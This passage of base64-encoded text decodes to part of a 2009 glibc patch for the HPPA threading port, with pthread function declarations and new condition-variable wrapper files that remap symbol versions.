YWRfcndsb2NrX2luaXRfaHBwYV8yXzAgKHB0aHJlYWRfcndsb2NrX2hwcGFf
Ml8wX3QgKl9fcmVzdHJpY3QgX19yd2xvY2ssCisJCQkJICBfX2NvbnN0IHB0
aHJlYWRfcndsb2NrYXR0cl90ICpfX3Jlc3RyaWN0CisJCQkJICBfX2F0dHIp
OworZXh0ZXJuIGludCBfX3B0aHJlYWRfcndsb2NrX2Rlc3Ryb3lfaHBwYV8y
XzAgKHB0aHJlYWRfcndsb2NrX2hwcGFfMl8wX3QgKl9fcndsb2NrKTsKK2V4
dGVybiBpbnQgX19wdGhyZWFkX3J3bG9ja19yZGxvY2tfaHBwYV8yXzAgKHB0
aHJlYWRfcndsb2NrX2hwcGFfMl8wX3QgKl9fcndsb2NrKTsKK2V4dGVybiBp
bnQgX19wdGhyZWFkX3J3bG9ja19yZGxvY2tfaW50ZXJuYWxfaHBwYV8yXzAg
KHB0aHJlYWRfcndsb2NrX2hwcGFfMl8wX3QgKl9fcndsb2NrKTsKK2V4dGVy
biBpbnQgX19wdGhyZWFkX3J3bG9ja19ocHBhXzJfMF90cnlyZGxvY2tfaHBw
YV8yXzAgKHB0aHJlYWRfcndsb2NrX2hwcGFfMl8wX3QgKl9fcndsb2NrKTsK
K2V4dGVybiBpbnQgX19wdGhyZWFkX3J3bG9ja193cmxvY2tfaHBwYV8yXzAg
KHB0aHJlYWRfcndsb2NrX2hwcGFfMl8wX3QgKl9fcndsb2NrKTsKK2V4dGVy
biBpbnQgX19wdGhyZWFkX3J3bG9ja193cmxvY2tfaW50ZXJuYWxfaHBwYV8y
XzAgKHB0aHJlYWRfcndsb2NrX2hwcGFfMl8wX3QgKl9fcndsb2NrKTsKK2V4
dGVybiBpbnQgX19wdGhyZWFkX3J3bG9ja19ocHBhXzJfMF90cnl3cmxvY2tf
aHBwYV8yXzAgKHB0aHJlYWRfcndsb2NrX2hwcGFfMl8wX3QgKl9fcndsb2Nr
KTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX3J3bG9ja191bmxvY2tfaHBwYV8y
XzAgKHB0aHJlYWRfcndsb2NrX2hwcGFfMl8wX3QgKl9fcndsb2NrKTsKKwor
ZXh0ZXJuIGludCBfX3B0aHJlYWRfY29uZF9icm9hZGNhc3QgKHB0aHJlYWRf
Y29uZF90ICpjb25kKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX2NvbmRfZGVz
dHJveSAocHRocmVhZF9jb25kX3QgKmNvbmQpOworZXh0ZXJuIGludCBfX3B0
aHJlYWRfY29uZF9pbml0IChwdGhyZWFkX2NvbmRfdCAqY29uZCwKKwkJCQlj
b25zdCBwdGhyZWFkX2NvbmRhdHRyX3QgKmNvbmRfYXR0cik7CitleHRlcm4g
aW50IF9fcHRocmVhZF9jb25kX3NpZ25hbCAocHRocmVhZF9jb25kX3QgKmNv
bmQpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfY29uZF93YWl0IChwdGhyZWFk
X2NvbmRfdCAqY29uZCwgcHRocmVhZF9tdXRleF90ICptdXRleCk7CitleHRl
cm4gaW50IF9fcHRocmVhZF9jb25kX3RpbWVkd2FpdCAocHRocmVhZF9jb25k
X3QgKmNvbmQsCisJCQkJICAgICBwdGhyZWFkX211dGV4X3QgKm11dGV4LAor
CQkJCSAgICAgY29uc3Qgc3RydWN0IHRpbWVzcGVjICphYnN0aW1lKTsKK2V4
dGVybiBpbnQgX19wdGhyZWFkX2NvbmRhdHRyX2Rlc3Ryb3kgKHB0aHJlYWRf
Y29uZGF0dHJfdCAqYXR0cik7CitleHRlcm4gaW50IF9fcHRocmVhZF9jb25k
YXR0cl9pbml0IChwdGhyZWFkX2NvbmRhdHRyX3QgKmF0dHIpOworZXh0ZXJu
IGludCBfX3B0aHJlYWRfa2V5X2NyZWF0ZSAocHRocmVhZF9rZXlfdCAqa2V5
LCB2b2lkICgqZGVzdHIpICh2b2lkICopKTsKK2V4dGVybiBpbnQgX19wdGhy
ZWFkX2tleV9jcmVhdGVfaW50ZXJuYWwgKHB0aHJlYWRfa2V5X3QgKmtleSwK
KwkJCQkJICB2b2lkICgqZGVzdHIpICh2b2lkICopKTsKK2V4dGVybiB2b2lk
ICpfX3B0aHJlYWRfZ2V0c3BlY2lmaWMgKHB0aHJlYWRfa2V5X3Qga2V5KTsK
K2V4dGVybiB2b2lkICpfX3B0aHJlYWRfZ2V0c3BlY2lmaWNfaW50ZXJuYWwg
KHB0aHJlYWRfa2V5X3Qga2V5KTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX3Nl
dHNwZWNpZmljIChwdGhyZWFkX2tleV90IGtleSwgY29uc3Qgdm9pZCAqdmFs
dWUpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfc2V0c3BlY2lmaWNfaW50ZXJu
YWwgKHB0aHJlYWRfa2V5X3Qga2V5LAorCQkJCQkgICBjb25zdCB2b2lkICp2
YWx1ZSk7CitleHRlcm4gaW50IF9fcHRocmVhZF9vbmNlIChwdGhyZWFkX29u
Y2VfdCAqb25jZV9jb250cm9sLAorCQkJICAgdm9pZCAoKmluaXRfcm91dGlu
ZSkgKHZvaWQpKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX29uY2VfaW50ZXJu
YWwgKHB0aHJlYWRfb25jZV90ICpvbmNlX2NvbnRyb2wsCisJCQkJICAgIHZv
aWQgKCppbml0X3JvdXRpbmUpICh2b2lkKSk7CitleHRlcm4gaW50IF9fcHRo
cmVhZF9hdGZvcmsgKHZvaWQgKCpwcmVwYXJlKSAodm9pZCksIHZvaWQgKCpw
YXJlbnQpICh2b2lkKSwKKwkJCSAgICAgdm9pZCAoKmNoaWxkKSAodm9pZCkp
OworZXh0ZXJuIHB0aHJlYWRfdCBfX3B0aHJlYWRfc2VsZiAodm9pZCk7Citl
eHRlcm4gaW50IF9fcHRocmVhZF9lcXVhbCAocHRocmVhZF90IHRocmVhZDEs
IHB0aHJlYWRfdCB0aHJlYWQyKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX2tp
bGwgKHB0aHJlYWRfdCB0aHJlYWRpZCwgaW50IHNpZ25vKTsKK2V4dGVybiB2
b2lkIF9fcHRocmVhZF9leGl0ICh2b2lkICp2YWx1ZSk7CitleHRlcm4gaW50
IF9fcHRocmVhZF9zZXRjYW5jZWx0eXBlIChpbnQgdHlwZSwgaW50ICpvbGR0
eXBlKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX2VuYWJsZV9hc3luY2NhbmNl
bCAodm9pZCkgYXR0cmlidXRlX2hpZGRlbjsKK2V4dGVybiB2b2lkIF9fcHRo
cmVhZF9kaXNhYmxlX2FzeW5jY2FuY2VsIChpbnQgb2xkdHlwZSkKKyAgICAg
aW50ZXJuYWxfZnVuY3Rpb24gYXR0cmlidXRlX2hpZGRlbjsKKworZXh0ZXJu
IGludCBfX3B0aHJlYWRfY29uZF9icm9hZGNhc3RfMl8wIChwdGhyZWFkX2Nv
bmRfMl8wX3QgKmNvbmQpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfY29uZF9k
ZXN0cm95XzJfMCAocHRocmVhZF9jb25kXzJfMF90ICpjb25kKTsKK2V4dGVy
biBpbnQgX19wdGhyZWFkX2NvbmRfaW5pdF8yXzAgKHB0aHJlYWRfY29uZF8y
XzBfdCAqY29uZCwKKwkJCQkgICAgY29uc3QgcHRocmVhZF9jb25kYXR0cl90
ICpjb25kX2F0dHIpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfY29uZF9zaWdu
YWxfMl8wIChwdGhyZWFkX2NvbmRfMl8wX3QgKmNvbmQpOworZXh0ZXJuIGlu
dCBfX3B0aHJlYWRfY29uZF90aW1lZHdhaXRfMl8wIChwdGhyZWFkX2NvbmRf
Ml8wX3QgKmNvbmQsCisJCQkJCSBwdGhyZWFkX211dGV4X3QgKm11dGV4LAor
CQkJCQkgY29uc3Qgc3RydWN0IHRpbWVzcGVjICphYnN0aW1lKTsKK2V4dGVy
biBpbnQgX19wdGhyZWFkX2NvbmRfd2FpdF8yXzAgKHB0aHJlYWRfY29uZF8y
XzBfdCAqY29uZCwKKwkJCQkgICAgcHRocmVhZF9tdXRleF90ICptdXRleCk7
CisKK2V4dGVybiBpbnQgX19wdGhyZWFkX2NvbmRfYnJvYWRjYXN0X2hwcGFf
Ml8zXzIgKHB0aHJlYWRfY29uZF9ocHBhXzJfM18yX3QgKmNvbmQpOworZXh0
ZXJuIGludCBfX3B0aHJlYWRfY29uZF9kZXN0cm95X2hwcGFfMl8zXzIgKHB0
aHJlYWRfY29uZF9ocHBhXzJfM18yX3QgKmNvbmQpOworZXh0ZXJuIGludCBf
X3B0aHJlYWRfY29uZF9pbml0X2hwcGFfMl8zXzIgKHB0aHJlYWRfY29uZF9o
cHBhXzJfM18yX3QgKmNvbmQsCisJCQkJICAgIGNvbnN0IHB0aHJlYWRfY29u
ZGF0dHJfdCAqY29uZF9hdHRyKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX2Nv
bmRfc2lnbmFsX2hwcGFfMl8zXzIgKHB0aHJlYWRfY29uZF9ocHBhXzJfM18y
X3QgKmNvbmQpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfY29uZF90aW1lZHdh
aXRfaHBwYV8yXzNfMiAocHRocmVhZF9jb25kX2hwcGFfMl8zXzJfdCAqY29u
ZCwKKwkJCQkJIHB0aHJlYWRfbXV0ZXhfaHBwYV8yXzBfdCAqbXV0ZXgsCisJ
CQkJCSBjb25zdCBzdHJ1Y3QgdGltZXNwZWMgKmFic3RpbWUpOworZXh0ZXJu
IGludCBfX3B0aHJlYWRfY29uZF93YWl0X2hwcGFfMl8zXzIgKHB0aHJlYWRf
Y29uZF9ocHBhXzJfM18yX3QgKmNvbmQsCisJCQkJICAgIHB0aHJlYWRfbXV0
ZXhfaHBwYV8yXzBfdCAqbXV0ZXgpOworCitleHRlcm4gaW50IF9fcHRocmVh
ZF9nZXRhZmZpbml0eV9ucCAocHRocmVhZF90IHRoLCBzaXplX3QgY3B1c2V0
c2l6ZSwKKwkJCQkgICAgIGNwdV9zZXRfdCAqY3B1c2V0KTsKKworLyogVGhl
IHR3byBmdW5jdGlvbnMgYXJlIGluIGxpYmMuc28gYW5kIG5vdCBleHBvcnRl
ZC4gICovCitleHRlcm4gaW50IF9fbGliY19lbmFibGVfYXN5bmNjYW5jZWwg
KHZvaWQpIGF0dHJpYnV0ZV9oaWRkZW47CitleHRlcm4gdm9pZCBfX2xpYmNf
ZGlzYWJsZV9hc3luY2NhbmNlbCAoaW50IG9sZHR5cGUpCisgICAgIGludGVy
bmFsX2Z1bmN0aW9uIGF0dHJpYnV0ZV9oaWRkZW47CisKKworLyogVGhlIHR3
byBmdW5jdGlvbnMgYXJlIGluIGxpYnJ0LnNvIGFuZCBub3QgZXhwb3J0ZWQu
ICAqLworZXh0ZXJuIGludCBfX2xpYnJ0X2VuYWJsZV9hc3luY2NhbmNlbCAo
dm9pZCkgYXR0cmlidXRlX2hpZGRlbjsKK2V4dGVybiB2b2lkIF9fbGlicnRf
ZGlzYWJsZV9hc3luY2NhbmNlbCAoaW50IG9sZHR5cGUpCisgICAgIGludGVy
bmFsX2Z1bmN0aW9uIGF0dHJpYnV0ZV9oaWRkZW47CisKKyNpZmRlZiBJU19J
Tl9saWJwdGhyZWFkCisvKiBTcGVjaWFsIHZlcnNpb25zIHdoaWNoIHVzZSBu
b24tZXhwb3J0ZWQgZnVuY3Rpb25zLiAgKi8KK2V4dGVybiB2b2lkIF9fcHRo
cmVhZF9jbGVhbnVwX3B1c2ggKHN0cnVjdCBfcHRocmVhZF9jbGVhbnVwX2J1
ZmZlciAqYnVmZmVyLAorCQkJCSAgICB2b2lkICgqcm91dGluZSkgKHZvaWQg
KiksIHZvaWQgKmFyZykKKyAgICAgYXR0cmlidXRlX2hpZGRlbjsKKyMgdW5k
ZWYgcHRocmVhZF9jbGVhbnVwX3B1c2gKKyMgZGVmaW5lIHB0aHJlYWRfY2xl
YW51cF9wdXNoKHJvdXRpbmUsYXJnKSBcCisgIHsgc3RydWN0IF9wdGhyZWFk
X2NsZWFudXBfYnVmZmVyIF9idWZmZXI7CQkJCSAgICAgIFwKKyAgICBfX3B0
aHJlYWRfY2xlYW51cF9wdXNoICgmX2J1ZmZlciwgKHJvdXRpbmUpLCAoYXJn
KSk7CisKK2V4dGVybiB2b2lkIF9fcHRocmVhZF9jbGVhbnVwX3BvcCAoc3Ry
dWN0IF9wdGhyZWFkX2NsZWFudXBfYnVmZmVyICpidWZmZXIsCisJCQkJICAg
aW50IGV4ZWN1dGUpIGF0dHJpYnV0ZV9oaWRkZW47CisjIHVuZGVmIHB0aHJl
YWRfY2xlYW51cF9wb3AKKyMgZGVmaW5lIHB0aHJlYWRfY2xlYW51cF9wb3Ao
ZXhlY3V0ZSkgXAorICAgIF9fcHRocmVhZF9jbGVhbnVwX3BvcCAoJl9idWZm
ZXIsIChleGVjdXRlKSk7IH0KKyNlbmRpZgorCitleHRlcm4gdm9pZCBfX3B0
aHJlYWRfY2xlYW51cF9wdXNoX2RlZmVyIChzdHJ1Y3QgX3B0aHJlYWRfY2xl
YW51cF9idWZmZXIgKmJ1ZmZlciwKKwkJCQkJICB2b2lkICgqcm91dGluZSkg
KHZvaWQgKiksIHZvaWQgKmFyZyk7CitleHRlcm4gdm9pZCBfX3B0aHJlYWRf
Y2xlYW51cF9wb3BfcmVzdG9yZSAoc3RydWN0IF9wdGhyZWFkX2NsZWFudXBf
YnVmZmVyICpidWZmZXIsCisJCQkJCSAgIGludCBleGVjdXRlKTsKKworLyog
T2xkIGNsZWFudXAgaW50ZXJmYWNlcywgc3RpbGwgdXNlZCBpbiBsaWJjLnNv
LiAgKi8KK2V4dGVybiB2b2lkIF9wdGhyZWFkX2NsZWFudXBfcHVzaCAoc3Ry
dWN0IF9wdGhyZWFkX2NsZWFudXBfYnVmZmVyICpidWZmZXIsCisgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZvaWQgKCpyb3V0aW5lKSAo
dm9pZCAqKSwgdm9pZCAqYXJnKTsKK2V4dGVybiB2b2lkIF9wdGhyZWFkX2Ns
ZWFudXBfcG9wIChzdHJ1Y3QgX3B0aHJlYWRfY2xlYW51cF9idWZmZXIgKmJ1
ZmZlciwKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbnQg
ZXhlY3V0ZSk7CitleHRlcm4gdm9pZCBfcHRocmVhZF9jbGVhbnVwX3B1c2hf
ZGVmZXIgKHN0cnVjdCBfcHRocmVhZF9jbGVhbnVwX2J1ZmZlciAqYnVmZmVy
LAorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2
b2lkICgqcm91dGluZSkgKHZvaWQgKiksIHZvaWQgKmFyZyk7CitleHRlcm4g
dm9pZCBfcHRocmVhZF9jbGVhbnVwX3BvcF9yZXN0b3JlIChzdHJ1Y3QgX3B0
aHJlYWRfY2xlYW51cF9idWZmZXIgKmJ1ZmZlciwKKyAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGludCBleGVjdXRlKTsKKwor
ZXh0ZXJuIHZvaWQgX19ucHRsX2RlYWxsb2NhdGVfdHNkICh2b2lkKSBhdHRy
aWJ1dGVfaGlkZGVuOworCitleHRlcm4gaW50IF9fbnB0bF9zZXR4aWQgKHN0
cnVjdCB4aWRfY29tbWFuZCAqY21kcCkgYXR0cmlidXRlX2hpZGRlbjsKKwor
ZXh0ZXJuIHZvaWQgX19mcmVlX3N0YWNrcyAoc2l6ZV90IGxpbWl0KSBhdHRy
aWJ1dGVfaGlkZGVuOworCitleHRlcm4gdm9pZCBfX3dhaXRfbG9va3VwX2Rv
bmUgKHZvaWQpIGF0dHJpYnV0ZV9oaWRkZW47CisKKyNpZmRlZiBTSEFSRUQK
KyMgZGVmaW5lIFBUSFJFQURfU1RBVElDX0ZOX1JFUVVJUkUobmFtZSkKKyNl
bHNlCisjIGRlZmluZSBQVEhSRUFEX1NUQVRJQ19GTl9SRVFVSVJFKG5hbWUp
IF9fYXNtICgiLmdsb2JsICIgI25hbWUpOworI2VuZGlmCisKKworI2lmbmRl
ZiBfX05SX3NldF9yb2J1c3RfbGlzdAorLyogWFhYIEZvciB0aGUgdGltZSBi
ZWluZy4uLiAgT25jZSB3ZSBjYW4gcmVseSBvbiB0aGUga2VybmVsIGhlYWRl
cnMKKyAgIGhhdmluZyB0aGUgZGVmaW5pdGlvbiByZW1vdmUgdGhlc2UgbGlu
ZXMuICAqLworIyBpZiBkZWZpbmVkIF9faTM4Nl9fCisjICBkZWZpbmUgX19O
Ul9zZXRfcm9idXN0X2xpc3QgIDMxMQorIyBlbGlmIGRlZmluZWQgX194ODZf
NjRfXworIyAgZGVmaW5lIF9fTlJfc2V0X3JvYnVzdF9saXN0ICAyNzMKKyMg
ZW5kaWYKKyNlbmRpZgorCisjZW5kaWYJLyogcHRocmVhZFAuaCAqLwpJbmRl
eDogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRf
Y29uZF9icm9hZGNhc3QuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBm
aWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVh
ZF9jb25kX2Jyb2FkY2FzdC5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3Yv
bGludXgvaHBwYS9ucHRsL3B0aHJlYWRfY29uZF9icm9hZGNhc3QuYwotLS0g
L2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAwMDAKKysrIHN5c2Rl
cHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX2NvbmRfYnJv
YWRjYXN0LmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsx
LDI5IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUg
R05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0Rv
bmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBU
aGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJl
ZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUg
dGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExp
Y2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5k
YXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2Us
IG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAg
IFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3Bl
IHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkg
V0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBv
ZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElD
VUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFs
IFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBz
aG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIg
R2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05V
IEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29m
dHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0
ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKwor
I2lmbmRlZiBJTkNMVURFRF9TRUxGCisjIGRlZmluZSBJTkNMVURFRF9TRUxG
CisjIGluY2x1ZGUgPHB0aHJlYWRfY29uZF9icm9hZGNhc3QuYz4KKyNlbHNl
CisjIGluY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorIyB1bmRlZiBHTElCQ18y
XzNfMgorIyBkZWZpbmUgR0xJQkNfMl8zXzIgR0xJQkNfMl85CisjIGluY2x1
ZGVfbmV4dCA8cHRocmVhZF9jb25kX2Jyb2FkY2FzdC5jPgorI2VuZGlmCisK
SW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhy
ZWFkX2NvbmRfZGVzdHJveS5jCj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNT
IGZpbGU6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhy
ZWFkX2NvbmRfZGVzdHJveS5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3Yv
bGludXgvaHBwYS9ucHRsL3B0aHJlYWRfY29uZF9kZXN0cm95LmMKLS0tIC9k
ZXYvbnVsbAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBz
L3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9jb25kX2Rlc3Ry
b3kuYwkyIEFwciAyMDA5IDAyOjM0OjAzIC0wMDAwCkBAIC0wLDAgKzEsMjkg
QEAKKy8qIENvcHlyaWdodCAoQykgMjAwOSBGcmVlIFNvZnR3YXJlIEZvdW5k
YXRpb24sIEluYy4KKyAgIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRoZSBHTlUg
QyBMaWJyYXJ5LgorICAgQ29udHJpYnV0ZWQgYnkgQ2FybG9zIE8nRG9uZWxs
IDxjYXJsb3NAY29kZXNvdXJjZXJ5LmNvbT4sIDIwMDkuCisKKyAgIFRoZSBH
TlUgQyBMaWJyYXJ5IGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0
cmlidXRlIGl0IGFuZC9vcgorICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJt
cyBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5z
ZSBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlv
bjsgZWl0aGVyCisgICB2ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5zZSwgb3Ig
KGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAgVGhl
IEdOVSBDIExpYnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhh
dCBpdCB3aWxsIGJlIHVzZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJS
QU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCisg
ICBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFS
IFBVUlBPU0UuICBTZWUgdGhlIEdOVQorICAgTGVzc2VyIEdlbmVyYWwgUHVi
bGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KKworICAgWW91IHNob3Vs
ZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIExlc3NlciBHZW5l
cmFsIFB1YmxpYworICAgTGljZW5zZSBhbG9uZyB3aXRoIHRoZSBHTlUgQyBM
aWJyYXJ5OyBpZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlCisgICBTb2Z0d2Fy
ZSBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMz
MCwgQm9zdG9uLCBNQQorICAgMDIxMTEtMTMwNyBVU0EuICAqLworCisjaWZu
ZGVmIElOQ0xVREVEX1NFTEYKKyMgZGVmaW5lIElOQ0xVREVEX1NFTEYKKyMg
aW5jbHVkZSA8cHRocmVhZF9jb25kX2Rlc3Ryb3kuYz4KKyNlbHNlCisjIGlu
Y2x1ZGUgPHNobGliLWNvbXBhdC5oPgorIyB1bmRlZiBHTElCQ18yXzNfMgor
IyBkZWZpbmUgR0xJQkNfMl8zXzIgR0xJQkNfMl85CisjIGluY2x1ZGVfbmV4
dCA8cHRocmVhZF9jb25kX2Rlc3Ryb3kuYz4KKyNlbmRpZgorCkluZGV4OiBz
eXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9jb25k
X2luaXQuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNk
ZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9jb25kX2lu
aXQuYwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0
bC9wdGhyZWFkX2NvbmRfaW5pdC5jCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3
MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5c3YvbGludXgv
aHBwYS9ucHRsL3B0aHJlYWRfY29uZF9pbml0LmMJMiBBcHIgMjAwOSAwMjoz
NDowMyAtMDAwMApAQCAtMCwwICsxLDI5IEBACisvKiBDb3B5cmlnaHQgKEMp
IDIwMDkgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisgICBUaGlz
IGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4KKyAgIENvbnRy
aWJ1dGVkIGJ5IENhcmxvcyBPJ0RvbmVsbCA8Y2FybG9zQGNvZGVzb3VyY2Vy
eS5jb20+LCAyMDA5LgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBmcmVl
IHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAg
IG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNzZXIg
R2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRo
ZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlcgorICAgdmVyc2lv
biAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlvbikgYW55
IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRp
c3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWws
CisgICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0
aGUgaW1wbGllZCB3YXJyYW50eSBvZgorICAgTUVSQ0hBTlRBQklMSVRZIG9y
IEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBH
TlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3Jl
IGRldGFpbHMuCisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNv
cHkgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vu
c2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFyeTsgaWYgbm90LCB3cml0
ZSB0byB0aGUgRnJlZQorICAgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwg
NTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAy
MTExLTEzMDcgVVNBLiAgKi8KKworI2lmbmRlZiBJTkNMVURFRF9TRUxGCisj
IGRlZmluZSBJTkNMVURFRF9TRUxGCisjIGluY2x1ZGUgPHB0aHJlYWRfY29u
ZF9pbml0LmM+CisjZWxzZQorIyBpbmNsdWRlIDxzaGxpYi1jb21wYXQuaD4K
KyMgdW5kZWYgR0xJQkNfMl8zXzIKKyMgZGVmaW5lIEdMSUJDXzJfM18yIEdM
SUJDXzJfOQorIyBpbmNsdWRlX25leHQgPHB0aHJlYWRfY29uZF9pbml0LmM+
CisjZW5kaWYKKwpJbmRleDogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL3B0aHJlYWRfY29uZF9zaWduYWwuYwo9PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBh
L25wdGwvcHRocmVhZF9jb25kX3NpZ25hbC5jCmRpZmYgLU4gc3lzZGVwcy91
bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfY29uZF9zaWduYWwu
